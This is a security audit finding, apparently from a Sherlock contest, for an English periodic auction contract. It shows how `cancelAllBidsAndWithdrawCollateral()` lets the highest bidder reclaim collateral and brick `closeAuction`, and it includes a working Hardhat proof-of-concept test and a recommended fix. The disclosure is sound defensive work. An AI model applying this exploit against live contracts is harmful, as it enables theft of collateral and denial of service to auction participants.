Bubbly Pear Mink

high

# Bider can cancel the highest bid with cancelAllBids()

## Summary

User can bid for any active auction of tokenId in exchange of collateral. If user is the highest bidder he/she cannot cancel such bid. However, due to missing assertions within the `_cancelAllBids()` it is possible to cancel the bid and withdraw full amount of collateral anytime. Additionally, this action can temporarily or permanently brick the contract as it might be impossible to close the auction due to insufficient funds stored in contract.

## Vulnerability Detail

The `_cancelBid()` function has assertion implemented that bid cannot be canceled by the highest bidder. This information is stored within the `highestBids` collection.

```solidity
    function _cancelBid(
        uint256 tokenId,
        uint256 round,
        address bidder
    ) internal {
        EnglishPeriodicAuctionStorage.Layout
            storage l = EnglishPeriodicAuctionStorage.layout();

        address currentBidder;
        if (IStewardLicense(address(this)).exists(tokenId)) {
            currentBidder = IStewardLicense(address(this)).ownerOf(tokenId);
        } else {
            currentBidder = l.initialBidder;
        }

        require(
            bidder != l.highestBids[tokenId][round].bidder,
            'EnglishPeriodicAuction: Cannot cancel bid if highest bidder'
        );

        Bid storage bid = l.bids[tokenId][round][bidder];

        require(
            bid.collateralAmount > 0,
            'EnglishPeriodicAuction: No bid to cancel'
        );

        // Make collateral available to withdraw
        l.availableCollateral[bidder] += bid.collateralAmount;

        // Reset collateral and bid
        bid.collateralAmount = 0;
        bid.bidAmount = 0;
    }
```

However, there is a similar function: `_cancelAllBids()` with similar functionality as above one, but it does not have any assertions implemented. Thus, this function can be abused by means of `cancelAllBidsAndWithdrawCollateral()` function to withdraw all collateral before closing the auction. It must be noted that this action does not erase data within the `highestBids` collection.

```solidity
    function _cancelAllBids(uint256 tokenId, address bidder) internal {
        EnglishPeriodicAuctionStorage.Layout
            storage l = EnglishPeriodicAuctionStorage.layout();

        uint256 currentAuctionRound = l.currentAuctionRound[tokenId];

        for (uint256 i = 0; i <= currentAuctionRound; i++) {
            Bid storage bid = l.bids[tokenId][i][bidder];

            if (bid.collateralAmount > 0) {
                // Make collateral available to withdraw
                l.availableCollateral[bidder] += bid.collateralAmount;

                // Reset collateral and bid
                bid.collateralAmount = 0;
                bid.bidAmount = 0;
            }
        }
    }
```

```solidity
    function cancelAllBidsAndWithdrawCollateral(uint256 tokenId) external {
        _cancelAllBids(tokenId, msg.sender);
        _withdrawCollateral(msg.sender);
    }
```

The `_closeAuction()` function has fee distribution implemented by means of ether native token. However, if the highest bidder withdraw the collateral, the contract may have insufficient funds to cover fees, thus this function can temporarily or permanently revert. The `highestBids` collection still has active record of the bidder, so runtime code can reach this segment.

```solidity
    function _closeAuction(uint256 tokenId) internal {
...
        // Distribute fee to beneficiary
        if (l.highestBids[tokenId][currentAuctionRound].feeAmount > 0) {
            IBeneficiary(address(this)).distribute{
                value: l.highestBids[tokenId][currentAuctionRound].feeAmount 
            }();
        }
    }
```

## Proof of concept

PoC made based on `cancelBid - should revert if highest bidder tries to cancel bid` unit test.

```typescript
describe('cancelBid', function () {
    it('should revert if highest bidder tries to cancel bid', async function () {
      // Auction start: Now - 200
      // Auction end: Now + 100
      const instance = await getInstance({
        auctionLengthSeconds: 300,
        initialPeriodStartTime: (await time.latest()) - 200,
        licensePeriod: 1000,
      });

      const bidAmount = ethers.utils.parseEther('1.1');
      const feeAmount = await instance.calculateFeeFromBid(bidAmount);
      const collateralAmount = feeAmount.add(bidAmount);

      await instance
        .connect(bidder1)
        .placeBid(0, bidAmount, { value: collateralAmount });

      await expect(
        instance.connect(bidder1).cancelBid(0, 0),
      ).to.be.revertedWith(
        'EnglishPeriodicAuction: Cannot cancel bid if highest bidder',
      );

      const bidderAvailableCollateral = await instance.connect(bidder1).availableCollateral(bidder1.address);
      expect(bidderAvailableCollateral).to.be.equal(0);

      const bidder1BalanceBeforeCancellAll = await ethers.provider.getBalance(
        bidder1.address,
      );

      await instance.connect(bidder1).cancelAllBidsAndWithdrawCollateral(0);

      const bidder1BalanceAfterCancellAll = await ethers.provider.getBalance(
        bidder1.address,
      );

      //deduct small amount from collateral to cover gas used
      expect(collateralAmount.sub(ethers.utils.parseEther('0.0001'))).to.be.below(bidder1BalanceAfterCancellAll.sub(bidder1BalanceBeforeCancellAll));
        
      await time.increase(100);
      await expect(instance.connect(owner).closeAuction(0)).to.be.reverted;
    });
});
```
## Impact

This vulnerability allows bidder to perform risk-free bids, as any bid can be canceled and full amount of collateral withdrawn, which breaks one of the system invariants. Additionally, this finding can result in temporarily or permanently DoS of close auction functionality. 

## Code Snippet

[EnglishPeriodicAuctionInternal.sol#L416](https://github.com/sherlock-audit/2024-02-radicalxchange/blob/main/pco-art/contracts/auction/EnglishPeriodicAuctionInternal.sol#L416)

[EnglishPeriodicAuctionFacet.sol#L187](https://github.com/sherlock-audit/2024-02-radicalxchange/blob/main/pco-art/contracts/auction/facets/EnglishPeriodicAuctionFacet.sol#L187)

## Tool used

Manual Review

## Recommendation

It is recommended to implement similar imput validation within the `_cancelAllBids()` as in `_cancelBid()`. 
